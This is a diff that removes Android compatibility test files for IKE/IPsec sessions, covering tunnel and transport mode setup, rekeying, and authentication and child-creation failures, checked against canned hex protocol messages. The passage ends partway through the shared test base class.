-        verifyDeleteIpSecTransformPair(
-                additionalChildCb, additionalTransformRecordA, additionalTransformRecordB);
-        additionalChildCb.awaitOnClosed();
-
-        // Close IKE Session
-        ikeSession.close();
-        performCloseIkeBlocking(expectedMsgId++, SUCCESS_DELETE_IKE_RESP);
-        verifyCloseIkeAndChildBlocking(firstTransformRecordA, firstTransformRecordB);
-    }
-
-    @Test
-    public void testIkeSessionSetupAndChildSessionSetupWithTunnelModeV6() throws Exception {
-        if (!hasTunnelsFeature()) return;
-
-        final String ikeInitResp =
-                "46B8ECA1E0D72A186F7B6C2CEB77EB9021202220000000000000011822000030"
-                        + "0000002C010100040300000C0100000C800E0100030000080300000C03000008"
-                        + "0200000500000008040000022800008800020000DABAA04B38B491E2403F2125"
-                        + "96ECF1C8EF7B1DC19A422FDD46E1756C826BB3A16404361B775D9950577B5CDF"
-                        + "6AAA1642BD1427BDA8BC55354A97C1025E19C1E2EE2DF8A0C9406E545D829F52"
-                        + "75695008E3B742984B8DD1770F3514213B0DF3EE8B199416DF200D248115C057"
-                        + "1C193E4F96802E5EF48DD99CAC251882A8F7CCC329000024BC6F0F1D3653C2C7"
-                        + "679E02CDB6A3B32B2FEE9AF52F0326D4D9AE073D56CE8922290000080000402E"
-                        + "290000100000402F00020003000400050000000800004014";
-        final String ikeAuthResp =
-                "46B8ECA1E0D72A186F7B6C2CEB77EB902E202320000000010000015024000134"
-                        + "4D115AFDCDAD0310760BB664EB7D405A340869AD6EDF0AAEAD0663A9253DADCB"
-                        + "73EBE5CD29D4FA1CDEADE0B94391B5C4CF77BCC1596ACE3CE6A7891E44888FA5"
-                        + "46632C0EF4E6193C023C9DC59142C37D1C49D6EF5CD324EC6FC35C89E1721C78"
-                        + "91FDCDB723D8062709950F4AA9273D26A54C9C7E86862DBC15F7B6641D2B9BAD"
-                        + "E55069008201D12968D97B537B1518FE87B0FFA03C3EE6012C06721B1E2A3F68"
-                        + "92108BC4A4F7063F7F94562D8B60F291A1377A836CF12BCDA7E15C1A8F3C77BB"
-                        + "6DB7F2C833CCE4CDDED7506536621A3356CE2BC1874E7B1A1A9B447D7DF6AB09"
-                        + "638B8AD94A781B28BB91B514B611B24DF8E8A047A10AE27BBF15C754D3D2F792"
-                        + "D3E1CCADDAE934C98AE53A8FC3419C88AFF0355564F82A629C998012DA7BB704"
-                        + "5307270DF326377E3E1994476902035B";
-        final String deleteIkeResp =
-                "46B8ECA1E0D72A186F7B6C2CEB77EB902E202520000000020000005000000034"
-                        + "CF15C299F35688E5140A48B61C95F004121BF8236201415E5CD45BA41AAB16D4"
-                        + "90B44B9E6D5D92B5B97D24196A58C73F";
-
-        mLocalAddress = IPV6_ADDRESS_LOCAL;
-        mRemoteAddress = IPV6_ADDRESS_REMOTE;
-
-        // Teardown current test network that uses IPv4 address and set up new network with IPv6
-        // address.
-        tearDownTestNetwork();
-        setUpTestNetwork(mLocalAddress);
-
-        // Open IKE Session
-        IkeSession ikeSession = openIkeSessionWithTunnelModeChild(mRemoteAddress);
-        performSetupIkeAndFirstChildBlocking(
-                ikeInitResp,
-                1 /* expectedAuthReqPktCnt */,
-                false /* expectedAuthUseEncap */,
-                ikeAuthResp);
-
-        // Local request message ID starts from 2 because there is one IKE_INIT message and a single
-        // IKE_AUTH message.
-        int expectedMsgId = 2;
-
-        verifyIkeSessionSetupBlocking();
-        verifyChildSessionSetupBlocking(
-                mFirstChildSessionCallback,
-                Arrays.asList(TUNNEL_MODE_INBOUND_TS_V6),
-                Arrays.asList(TUNNEL_MODE_OUTBOUND_TS_V6),
-                Arrays.asList(EXPECTED_INTERNAL_LINK_ADDR_V6),
-                Arrays.asList(EXPECTED_DNS_SERVERS_ONE, EXPECTED_DNS_SERVERS_TWO));
-
-        IpSecTransformCallRecord firstTransformRecordA =
-                mFirstChildSessionCallback.awaitNextCreatedIpSecTransform();
-        IpSecTransformCallRecord firstTransformRecordB =
-                mFirstChildSessionCallback.awaitNextCreatedIpSecTransform();
-        verifyCreateIpSecTransformPair(firstTransformRecordA, firstTransformRecordB);
-
-        // Close IKE Session
-        ikeSession.close();
-        performCloseIkeBlocking(expectedMsgId++, false /* expectedUseEncap */, deleteIkeResp);
-        verifyCloseIkeAndChildBlocking(firstTransformRecordA, firstTransformRecordB);
-    }
-
-    @Test
-    public void testIkeSessionKillWithTunnelMode() throws Exception {
-        if (!hasTunnelsFeature()) return;
-
-        // Open IKE Session
-        IkeSession ikeSession = openIkeSessionWithTunnelModeChild(mRemoteAddress);
-        performSetupIkeAndFirstChildBlocking(SUCCESS_IKE_INIT_RESP, SUCCESS_IKE_AUTH_RESP);
-
-        ikeSession.kill();
-        mFirstChildSessionCallback.awaitOnClosed();
-        mIkeSessionCallback.awaitOnClosed();
-    }
-
-    @Test
-    public void testIkeInitFail() throws Exception {
-        final String ikeInitFailRespHex =
-                "46B8ECA1E0D72A180000000000000000292022200000000000000024000000080000000E";
-
-        // Open IKE Session
-        IkeSession ikeSession = openIkeSessionWithTransportModeChild(mRemoteAddress);
-        int expectedMsgId = 0;
-        mTunUtils.awaitReqAndInjectResp(
-                IKE_DETERMINISTIC_INITIATOR_SPI,
-                expectedMsgId++,
-                false /* expectedUseEncap */,
-                ikeInitFailRespHex);
-
-        mFirstChildSessionCallback.awaitOnClosed();
-
-        IkeProtocolException protocolException =
-                (IkeProtocolException) mIkeSessionCallback.awaitOnClosedException();
-        assertEquals(ERROR_TYPE_NO_PROPOSAL_CHOSEN, protocolException.getErrorType());
-        assertArrayEquals(EXPECTED_PROTOCOL_ERROR_DATA_NONE, protocolException.getErrorData());
-    }
-
-    @Test
-    public void testIkeAuthHandlesAuthFailNotification() throws Exception {
-        final String ikeInitRespHex =
-                "46B8ECA1E0D72A18CF94CE3159486F002120222000000000000001502200"
-                        + "00300000002C010100040300000C0100000C800E01000300000803000005"
-                        + "0300000802000004000000080400000228000088000200001821AA854691"
-                        + "FA3292DF710F0AC149ACBD0CB421608B8796C1912AF04C5B4B23936FDEC4"
-                        + "7CB640E3EAFB56BBB562825E87AF68B40E4BAB80A49BAD44407450A4195A"
-                        + "1DD54BD99F48D28C9F0FBA315A3401C1C3C4AD55911F514A8DF2D2467C46"
-                        + "A73DDC1452AE81336E0F0D5EC896D2E7A77628AF2F9089F48943399DF216"
-                        + "EFCD2900002418D2B7E4E6AF0FEFF5962CF8D68F7793B1293FEDE13331D4"
-                        + "AB0CE9436C2EE1EC2900001C0000400457BD9AEF5B362A83DD7F3DDAA4A9"
-                        + "9B6B4041DAF32900001C000040055A81893582701E44D4B6729A22FE06DE"
-                        + "82A03A36290000080000402E290000100000402F00020003000400050000"
-                        + "000800004014";
-        final String ikeAuthFailRespHex =
-                "46B8ECA1E0D72A18CF94CE3159486F002E202320000000010000004C2900"
-                        + "00301B9E4C8242D3BE62E7F0A537FE8B92C6EAB7153105DA421DCE43A06D"
-                        + "AB6E4808BAC0CA1DAD6ADD0A126A41BD";
-
-        // Open IKE Session
-        IkeSession ikeSession = openIkeSessionWithTransportModeChild(mRemoteAddress);
-        performSetupIkeAndFirstChildBlocking(ikeInitRespHex, ikeAuthFailRespHex);
-
-        mFirstChildSessionCallback.awaitOnClosed();
-        IkeProtocolException protocolException =
-                (IkeProtocolException) mIkeSessionCallback.awaitOnClosedException();
-        assertEquals(ERROR_TYPE_AUTHENTICATION_FAILED, protocolException.getErrorType());
-        assertArrayEquals(EXPECTED_PROTOCOL_ERROR_DATA_NONE, protocolException.getErrorData());
-    }
-
-    @Test
-    public void testIkeAuthHandlesFirstChildCreationFail() throws Exception {
-        final String ikeInitRespHex =
-                "46B8ECA1E0D72A18F5ABBF896A1240BE2120222000000000000001502200"
-                        + "00300000002C010100040300000C0100000C800E0100030000080300000C"
-                        + "03000008020000050000000804000002280000880002000074950F016B85"
-                        + "605E57E24651843AB70E41B552EDEE227DFE51E6CBEC00E75FFEFC7D5453"
-                        + "109B15F721FCD811FC9F113BE06050882F2FC5F5FF25857E555CCFB5AB64"
-                        + "8B0D1D7A819A3B05DE1FE89A4A627C60D5AA06CD0F66ACD3748722F9CD4F"
-                        + "F30AE7477CBC12049821F07AD6C9F0ED732321A6A36FA817722E025AC34B"
-                        + "ABE62900002432E3807F595070E95EDA341A787599B24B1151B535B0222B"
-                        + "65C003401B9B38F82900001C000040043BB760DB3037B51768DFFAB4B21D"
-                        + "B1716EA1C1382900001C0000400531098EB04DF1BE3F304606BD59B454A8"
-                        + "CC7E7311290000080000402E290000100000402F00020003000400050000"
-                        + "000800004014";
-        final String ikeAuthCreateChildFailHex =
-                "46B8ECA1E0D72A18F5ABBF896A1240BE2E20232000000001000000B02400"
-                        + "009400B0861242E0C88ECB3848D772B560CAD65B6AC9DFFDC8622A394B8E"
-                        + "64E550BDD69FCD7E768129787ED9062992C1D6DB0F0631C2E05765B403CF"
-                        + "EF1D0A055B32F6698FF7DB5B8FB1B6A83A81634D00E22C86E35B3BFBEC73"
-                        + "EAC6806678926945BC7A57003DC1A3528A1EC423EE56C1075B36C0B57A6B"
-                        + "C6DD990182F6FABFFA167D199C7D629E5B830AAD2AFBD31CEBA6";
-
-        // Open IKE Session
-        IkeSession ikeSession = openIkeSessionWithTransportModeChild(mRemoteAddress);
-        performSetupIkeAndFirstChildBlocking(ikeInitRespHex, ikeAuthCreateChildFailHex);
-
-        // Even though the child creation failed, the authentication succeeded, so the IKE Session's
-        // onOpened() callback is still expected
-        verifyIkeSessionSetupBlocking();
-
-        // Verify Child Creation failed
-        IkeProtocolException protocolException =
-                (IkeProtocolException) mFirstChildSessionCallback.awaitOnClosedException();
-        assertEquals(ERROR_TYPE_TS_UNACCEPTABLE, protocolException.getErrorType());
-        assertArrayEquals(EXPECTED_PROTOCOL_ERROR_DATA_NONE, protocolException.getErrorData());
-
-        ikeSession.kill();
-        mIkeSessionCallback.awaitOnClosed();
-    }
-}
diff --git a/tests/tests/ipsec/src/android/ipsec/ike/cts/IkeSessionRekeyTest.java b/tests/tests/ipsec/src/android/ipsec/ike/cts/IkeSessionRekeyTest.java
deleted file mode 100644
index 0ca12ad..0000000
--- a/tests/tests/ipsec/src/android/ipsec/ike/cts/IkeSessionRekeyTest.java
+++ /dev/null
@@ -1,265 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.ipsec.ike.cts;
-
-import static com.android.internal.util.HexDump.hexStringToByteArray;
-
-import android.ipsec.ike.cts.IkeTunUtils.PortPair;
-import android.net.InetAddresses;
-import android.net.LinkAddress;
-import android.net.ipsec.ike.IkeFqdnIdentification;
-import android.net.ipsec.ike.IkeSession;
-import android.net.ipsec.ike.IkeSessionParams;
-import android.net.ipsec.ike.IkeTrafficSelector;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.net.InetAddress;
-import java.util.ArrayList;
-import java.util.Arrays;
-
-/**
- * Explicitly test transport mode Child SA so that devices without FEATURE_IPSEC_TUNNELS can be test
- * covered. Tunnel mode Child SA setup has been tested in IkeSessionPskTest. Rekeying process is
- * independent from Child SA mode.
- */
-@RunWith(AndroidJUnit4.class)
-public class IkeSessionRekeyTest extends IkeSessionTestBase {
-    // This value is align with the test vectors hex that are generated in an IPv4 environment
-    private static final IkeTrafficSelector TRANSPORT_MODE_INBOUND_TS =
-            new IkeTrafficSelector(
-                    MIN_PORT,
-                    MAX_PORT,
-                    InetAddresses.parseNumericAddress("172.58.35.40"),
-                    InetAddresses.parseNumericAddress("172.58.35.40"));
-
-    private IkeSession openIkeSessionWithRemoteAddress(InetAddress remoteAddress) {
-        IkeSessionParams ikeParams =
-                new IkeSessionParams.Builder(sContext)
-                        .setNetwork(mTunNetwork)
-                        .setServerHostname(remoteAddress.getHostAddress())
-                        .addSaProposal(SaProposalTest.buildIkeSaProposalWithNormalModeCipher())
-                        .addSaProposal(SaProposalTest.buildIkeSaProposalWithCombinedModeCipher())
-                        .setLocalIdentification(new IkeFqdnIdentification(LOCAL_HOSTNAME))
-                        .setRemoteIdentification(new IkeFqdnIdentification(REMOTE_HOSTNAME))
-                        .setAuthPsk(IKE_PSK)
-                        .build();
-        return new IkeSession(
-                sContext,
-                ikeParams,
-                buildTransportModeChildParamsWithTs(
-                        TRANSPORT_MODE_INBOUND_TS, TRANSPORT_MODE_OUTBOUND_TS),
-                mUserCbExecutor,
-                mIkeSessionCallback,
-                mFirstChildSessionCallback);
-    }
-
-    private byte[] buildInboundPkt(PortPair outPktSrcDestPortPair, String inboundDataHex)
-            throws Exception {
-        // Build inbound packet by flipping the outbound packet addresses and ports
-        return IkeTunUtils.buildIkePacket(
-                mRemoteAddress,
-                mLocalAddress,
-                outPktSrcDestPortPair.dstPort,
-                outPktSrcDestPortPair.srcPort,
-                true /* useEncap */,
-                hexStringToByteArray(inboundDataHex));
-    }
-
-    @Test
-    public void testRekeyIke() throws Exception {
-        final String ikeInitResp =
-                "46B8ECA1E0D72A1866B5248CF6C7472D21202220000000000000015022000030"
-                        + "0000002C010100040300000C0100000C800E0100030000080300000C03000008"
-                        + "0200000500000008040000022800008800020000920D3E830E7276908209212D"
-                        + "E5A7F2A48706CFEF1BE8CB6E3B173B8B4E0D8C2DC626271FF1B13A88619E569E"
-                        + "7B03C3ED2C127390749CDC7CDC711D0A8611E4457FFCBC4F0981B3288FBF58EA"
-                        + "3E8B70E27E76AE70117FBBCB753660ADDA37EB5EB3A81BED6A374CCB7E132C2A"
-                        + "94BFCE402DC76B19C158B533F6B1F2ABF01ACCC329000024B302CA2FB85B6CF4"
-                        + "02313381246E3C53828D787F6DFEA6BD62D6405254AEE6242900001C00004004"
-                        + "7A1682B06B58596533D00324886EF1F20EF276032900001C00004005BF633E31"
-                        + "F9984B29A62E370BB2770FC09BAEA665290000080000402E290000100000402F"
-                        + "00020003000400050000000800004014";
-        final String ikeAuthResp =
-                "46B8ECA1E0D72A1866B5248CF6C7472D2E20232000000001000000F0240000D4"
-                        + "10166CA8647F56123DE74C17FA5E256043ABF73216C812EE32EE1BB01EAF4A82"
-                        + "DC107AB3ADBFEE0DEA5EEE10BDD5D43178F4C975C7C775D252273BB037283C7F"
-                        + "236FE34A6BCE4833816897075DB2055B9FFD66DFA45A0A89A8F70AFB59431EED"
-                        + "A20602FB614369D12906D3355CF7298A5D25364ABBCC75A9D88E0E6581449FCD"
-                        + "4E361A39E00EFD1FD0A69651F63DB46C12470226AA21BA5EFF48FAF0B6DDF61C"
-                        + "B0A69392CE559495EEDB4D1C1D80688434D225D57210A424C213F7C993D8A456"
-                        + "38153FBD194C5E247B592D1D048DB4C8";
-        final String rekeyIkeCreateReq =
-                "46B8ECA1E0D72A1866B5248CF6C7472D2E202400000000000000013021000114"
-                        + "13743670039E308A8409BA5FD47B67F956B36FEE88AC3B70BB5D789B8218A135"
-                        + "1B3D83E260E87B3EDB1BF064F09D4DC2611AEDBC99951B4B2DE767BD4AA2ACC3"
-                        + "3653549CFC66B75869DF003CDC9A137A9CC27776AD5732B34203E74BE8CA4858"
-                        + "1D5C0D9C9CA52D680EB299B4B21C7FA25FFEE174D57015E0FF2EAED653AAD95C"
-                        + "071ABE269A8C2C9FBC1188E07550EB992F910D4CA9689E44BA66DE0FABB2BDF9"
-                        + "8DD377186DBB25EF9B68B027BB2A27981779D8303D88D7CE860010A42862D50B"
-                        + "1E0DBFD3D27C36F14809D7F493B2B96A65534CF98B0C32AD5219AD77F681AC04"
-                        + "9D5CB89A0230A91A243FA7F16251B0D9B4B65E7330BEEAC9663EF4578991EAC8"
-                        + "46C19EBB726E7D113F1D0D601102C05E";
-        final String rekeyIkeDeleteReq =
-                "46B8ECA1E0D72A1866B5248CF6C7472D2E20250000000001000000502A000034"
-                        + "02E40C0C7B1ED977729F705BB9B643FAC513A1070A6EB28ECD2AEA8A441ADC05"
-                        + "7841382A7967BBF116AE52496590B2AD";
-        final String deleteIkeReq =
-                "7D3DEDC65407D1FC9361C8CF8C47162A2E20250800000000000000502A000034"
-                        + "201915C9E4E9173AA9EE79F3E02FE2D4954B22085C66D164762C34D347C16E9F"
-                        + "FC5F7F114428C54D8D915860C57B1BC1";
-        final long newIkeDeterministicInitSpi = Long.parseLong("7D3DEDC65407D1FC", 16);
-
-        // Open IKE Session
-        IkeSession ikeSession = openIkeSessionWithRemoteAddress(mRemoteAddress);
-        PortPair localRemotePorts = performSetupIkeAndFirstChildBlocking(ikeInitResp, ikeAuthResp);
-
-        // Local request message ID starts from 2 because there is one IKE_INIT message and a single
-        // IKE_AUTH message.
-        int expectedReqMsgId = 2;
-        int expectedRespMsgId = 0;
-
-        verifyIkeSessionSetupBlocking();
-        verifyChildSessionSetupBlocking(
-                mFirstChildSessionCallback,
-                Arrays.asList(TRANSPORT_MODE_INBOUND_TS),
-                Arrays.asList(TRANSPORT_MODE_OUTBOUND_TS),
-                new ArrayList<LinkAddress>());
-        IpSecTransformCallRecord firstTransformRecordA =
-                mFirstChildSessionCallback.awaitNextCreatedIpSecTransform();
-        IpSecTransformCallRecord firstTransformRecordB =
-                mFirstChildSessionCallback.awaitNextCreatedIpSecTransform();
-        verifyCreateIpSecTransformPair(firstTransformRecordA, firstTransformRecordB);
-
-        // Inject rekey IKE requests
-        mTunUtils.injectPacket(buildInboundPkt(localRemotePorts, rekeyIkeCreateReq));
-        mTunUtils.awaitResp(
-                IKE_DETERMINISTIC_INITIATOR_SPI, expectedRespMsgId++, true /* expectedUseEncap */);
-        mTunUtils.injectPacket(buildInboundPkt(localRemotePorts, rekeyIkeDeleteReq));
-        mTunUtils.awaitResp(
-                IKE_DETERMINISTIC_INITIATOR_SPI, expectedRespMsgId++, true /* expectedUseEncap */);
-
-        // IKE has been rekeyed, reset message IDs
-        expectedReqMsgId = 0;
-        expectedRespMsgId = 0;
-
-        // Inject delete IKE request
-        mTunUtils.injectPacket(buildInboundPkt(localRemotePorts, deleteIkeReq));
-        mTunUtils.awaitResp(
-                newIkeDeterministicInitSpi, expectedRespMsgId++, true /* expectedUseEncap */);
-
-        verifyDeleteIpSecTransformPair(
-                mFirstChildSessionCallback, firstTransformRecordA, firstTransformRecordB);
-        mFirstChildSessionCallback.awaitOnClosed();
-        mIkeSessionCallback.awaitOnClosed();
-    }
-
-    @Test
-    public void testRekeyTransportModeChildSa() throws Exception {
-        final String ikeInitResp =
-                "46B8ECA1E0D72A18CECD871146CF83A121202220000000000000015022000030"
-                        + "0000002C010100040300000C0100000C800E0100030000080300000C03000008"
-                        + "0200000500000008040000022800008800020000C4904458957746BCF1C12972"
-                        + "1D4E19EB8A584F78DE673053396D167CE0F34552DBC69BA63FE7C673B4CF4A99"
-                        + "62481518EE985357876E8C47BAAA0DBE9C40AE47B12E52165874703586E8F786"
-                        + "045F72EEEB238C5D1823352BED44B71B3214609276ADC0B3D42DAC820168C4E2"
-                        + "660730DAAC92492403288805EBB9053F1AB060DA290000242D9364ACB93519FF"
-                        + "8F8B019BAA43A40D699F59714B327B8382216EF427ED52282900001C00004004"
-                        + "06D91438A0D6B734E152F76F5CC55A72A2E38A0A2900001C000040052EFF78B3"
-                        + "55B37F3CE75AFF26C721B050F892C0D6290000080000402E290000100000402F"
-                        + "00020003000400050000000800004014";
-        final String ikeAuthResp =
-                "46B8ECA1E0D72A18CECD871146CF83A12E20232000000001000000F0240000D4"
-                        + "A17BC258BA2714CF536663639DD5F665A60C75E93557CD5141990A8CEEDD2017"
-                        + "93F5B181C8569FBCD6C2A00198EC2B62D42BEFAC016B8B6BF6A7BC9CEDE3413A"
-                        + "6C495A6B8EC941864DC3E08F57D015EA6520C4B05884960B85478FCA53DA5F17"
-                        + "9628BB1097DA77461C71837207A9EB80720B3E6E661816EE4E14AC995B5E8441"
-                        + "A4C3F9097CC148142BA300076C94A23EC4ADE82B1DD2B121F7E9102860A8C3BF"
-                        + "58DDC207285A3176E924C44DE820322524E1AA438EFDFBA781B36084AED80846"
-                        + "3B77FCED9682B6E4E476408EF3F1037E";
-        final String rekeyChildCreateReq =
-                "46B8ECA1E0D72A18CECD871146CF83A12E202400000000000000015029000134"
-                        + "319D74B6B155B86942143CEC1D29D21F073F24B7BEDC9BFE0F0FDD8BDB5458C0"
-                        + "8DB93506E1A43DD0640FE7370C97F9B34FF4EC9B2DB7257A87B75632301FB68A"
-                        + "86B54871249534CA3D01C9BEB127B669F46470E1C8AAF72574C3CEEC15B901CF"
-                        + "5A0D6ADAE59C3CA64AC8C86689C860FAF9500E608DFE63F2DCD30510FD6FFCD5"
-                        + "A50838574132FD1D069BCACD4C7BAF45C9B1A7689FAD132E3F56DBCFAF905A8C"
-                        + "4145D4BA1B74A54762F8F43308D94DE05649C49D885121CE30681D51AC1E3E68"
-                        + "AB82F9A19B99579AFE257F32DBD1037814DA577379E4F42DEDAC84502E49C933"
-                        + "9EA83F6F5DB4401B660CB1681B023B8603D205DFDD1DE86AD8DE22B6B754F30D"
-                        + "05EAE81A709C2CEE81386133DC3DC7B5EF8F166E48E54A0722DD0C64F4D00638"
-                        + "40F272144C47F6ECED72A248180645DB";
-        final String rekeyChildDeleteReq =
-                "46B8ECA1E0D72A18CECD871146CF83A12E20250000000001000000502A000034"
-                        + "02D98DAF0432EBD991CA4F2D89C1E0EFABC6E91A3327A85D8914FB2F1485BE1B"
-                        + "8D3415D548F7CE0DC4224E7E9D0D3355";
-        final String deleteIkeReq =
-                "46B8ECA1E0D72A18CECD871146CF83A12E20250000000002000000502A000034"
-                        + "095041F4026B4634F04B0AB4F9349484F7BE9AEF03E3733EEE293330043B75D2"
-                        + "ABF5F965ED51127629585E1B1BBA787F";
-
-        // Open IKE Session
-        IkeSession ikeSession = openIkeSessionWithRemoteAddress(mRemoteAddress);
-        PortPair localRemotePorts = performSetupIkeAndFirstChildBlocking(ikeInitResp, ikeAuthResp);
-
-        // IKE INIT and IKE AUTH takes two exchanges. Local request message ID starts from 2
-        int expectedReqMsgId = 2;
-        int expectedRespMsgId = 0;
-
-        verifyIkeSessionSetupBlocking();
-        verifyChildSessionSetupBlocking(
-                mFirstChildSessionCallback,
-                Arrays.asList(TRANSPORT_MODE_INBOUND_TS),
-                Arrays.asList(TRANSPORT_MODE_OUTBOUND_TS),
-                new ArrayList<LinkAddress>());
-        IpSecTransformCallRecord oldTransformRecordA =
-                mFirstChildSessionCallback.awaitNextCreatedIpSecTransform();
-        IpSecTransformCallRecord oldTransformRecordB =
-                mFirstChildSessionCallback.awaitNextCreatedIpSecTransform();
-        verifyCreateIpSecTransformPair(oldTransformRecordA, oldTransformRecordB);
-
-        // Inject rekey Child requests
-        mTunUtils.injectPacket(buildInboundPkt(localRemotePorts, rekeyChildCreateReq));
-        mTunUtils.awaitResp(
-                IKE_DETERMINISTIC_INITIATOR_SPI, expectedRespMsgId++, true /* expectedUseEncap */);
-        mTunUtils.injectPacket(buildInboundPkt(localRemotePorts, rekeyChildDeleteReq));
-        mTunUtils.awaitResp(
-                IKE_DETERMINISTIC_INITIATOR_SPI, expectedRespMsgId++, true /* expectedUseEncap */);
-
-        // Verify IpSecTransforms are renewed
-        IpSecTransformCallRecord newTransformRecordA =
-                mFirstChildSessionCallback.awaitNextCreatedIpSecTransform();
-        IpSecTransformCallRecord newTransformRecordB =
-                mFirstChildSessionCallback.awaitNextCreatedIpSecTransform();
-        verifyCreateIpSecTransformPair(newTransformRecordA, newTransformRecordB);
-        verifyDeleteIpSecTransformPair(
-                mFirstChildSessionCallback, oldTransformRecordA, oldTransformRecordB);
-
-        // Inject delete IKE request
-        mTunUtils.injectPacket(buildInboundPkt(localRemotePorts, deleteIkeReq));
-        mTunUtils.awaitResp(
-                IKE_DETERMINISTIC_INITIATOR_SPI, expectedRespMsgId++, true /* expectedUseEncap */);
-
-        verifyDeleteIpSecTransformPair(
-                mFirstChildSessionCallback, newTransformRecordA, newTransformRecordB);
-        mFirstChildSessionCallback.awaitOnClosed();
-        mIkeSessionCallback.awaitOnClosed();
-    }
-}
diff --git a/tests/tests/ipsec/src/android/ipsec/ike/cts/IkeSessionTestBase.java b/tests/tests/ipsec/src/android/ipsec/ike/cts/IkeSessionTestBase.java
deleted file mode 100644
index 745d8fb..0000000
--- a/tests/tests/ipsec/src/android/ipsec/ike/cts/IkeSessionTestBase.java
+++ /dev/null
@@ -1,598 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.ipsec.ike.cts;
-
-import static android.net.ipsec.ike.IkeSessionConfiguration.EXTENSION_TYPE_FRAGMENTATION;
-import static android.system.OsConstants.AF_INET;
-import static android.system.OsConstants.AF_INET6;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertTrue;
-
-import android.annotation.NonNull;
-import android.app.AppOpsManager;
-import android.content.Context;
-import android.content.pm.PackageManager;
-import android.ipsec.ike.cts.IkeTunUtils.PortPair;
-import android.ipsec.ike.cts.TestNetworkUtils.TestNetworkCallback;
-import android.net.ConnectivityManager;
-import android.net.InetAddresses;
-import android.net.IpSecManager;
-import android.net.IpSecTransform;
-import android.net.LinkAddress;
-import android.net.Network;
-import android.net.TestNetworkInterface;
-import android.net.TestNetworkManager;
-import android.net.annotations.PolicyDirection;
-import android.net.ipsec.ike.ChildSessionCallback;
-import android.net.ipsec.ike.ChildSessionConfiguration;
-import android.net.ipsec.ike.IkeSessionCallback;
-import android.net.ipsec.ike.IkeSessionConfiguration;
-import android.net.ipsec.ike.IkeSessionConnectionInfo;
-import android.net.ipsec.ike.IkeTrafficSelector;
-import android.net.ipsec.ike.TransportModeChildSessionParams;
-import android.net.ipsec.ike.TunnelModeChildSessionParams;
-import android.net.ipsec.ike.exceptions.IkeException;
-import android.net.ipsec.ike.exceptions.IkeProtocolException;
-import android.os.Binder;
-import android.os.ParcelFileDescriptor;
-import android.platform.test.annotations.AppModeFull;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import com.android.compatibility.common.util.SystemUtil;
-import com.android.net.module.util.ArrayTrackRecord;
-
-import org.junit.After;
-import org.junit.AfterClass;
-import org.junit.Before;
-import org.junit.BeforeClass;
-import org.junit.runner.RunWith;
-
-import java.net.Inet4Address;
-import java.net.InetAddress;
-import java.util.ArrayList;
-import java.util.HashSet;
-import java.util.List;
-import java.util.Objects;
-import java.util.Set;
-import java.util.concurrent.CompletableFuture;
-import java.util.concurrent.Executor;
-import java.util.concurrent.Executors;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Package private base class for testing IkeSessionParams and IKE exchanges.
- *
- * <p>Subclasses MUST explicitly call #setUpTestNetwork and #tearDownTestNetwork to be able to use
- * the test network
- *
- * <p>All IKE Sessions running in test mode will generate SPIs deterministically. That is to say
- * each IKE Session will always generate the same IKE INIT SPI and test vectors are generated based
- * on this deterministic IKE SPI. Each test will use different local and remote addresses to avoid
- * the case that the next test try to allocate the same SPI before the previous test has released
- * it, since SPI resources are not released in testing thread. Similarly, each test MUST use
- * different Network instances to avoid sharing the same IkeSocket and hitting IKE SPI collision.
- */
-@RunWith(AndroidJUnit4.class)
-@AppModeFull(reason = "MANAGE_TEST_NETWORKS permission can't be granted to instant apps")
-abstract class IkeSessionTestBase extends IkeTestBase {
-    // Package-wide common expected results that will be shared by all IKE/Child SA creation tests
-    static final String EXPECTED_REMOTE_APP_VERSION_EMPTY = "";
-    static final byte[] EXPECTED_PROTOCOL_ERROR_DATA_NONE = new byte[0];
-
-    static final InetAddress EXPECTED_DNS_SERVERS_ONE =
-            InetAddresses.parseNumericAddress("8.8.8.8");
-    static final InetAddress EXPECTED_DNS_SERVERS_TWO =
-            InetAddresses.parseNumericAddress("8.8.4.4");
-
-    static final InetAddress EXPECTED_INTERNAL_ADDR =
-            InetAddresses.parseNumericAddress("198.51.100.10");
-    static final LinkAddress EXPECTED_INTERNAL_LINK_ADDR =
-            new LinkAddress(EXPECTED_INTERNAL_ADDR, IP4_PREFIX_LEN);
-    static final InetAddress EXPECTED_INTERNAL_ADDR_V6 =
-            InetAddresses.parseNumericAddress("2001:db8::2");
-    static final LinkAddress EXPECTED_INTERNAL_LINK_ADDR_V6 =
-            new LinkAddress(EXPECTED_INTERNAL_ADDR_V6, IP6_PREFIX_LEN);
-
-    static final IkeTrafficSelector TUNNEL_MODE_INBOUND_TS =
-            new IkeTrafficSelector(
-                    MIN_PORT, MAX_PORT, EXPECTED_INTERNAL_ADDR, EXPECTED_INTERNAL_ADDR);
-    static final IkeTrafficSelector TUNNEL_MODE_OUTBOUND_TS = DEFAULT_V4_TS;
-    static final IkeTrafficSelector TUNNEL_MODE_INBOUND_TS_V6 =
-            new IkeTrafficSelector(
-                    MIN_PORT, MAX_PORT, EXPECTED_INTERNAL_ADDR_V6, EXPECTED_INTERNAL_ADDR_V6);
-    static final IkeTrafficSelector TUNNEL_MODE_OUTBOUND_TS_V6 = DEFAULT_V6_TS;
-
-    // This value is align with the test vectors hex that are generated in an IPv4 environment
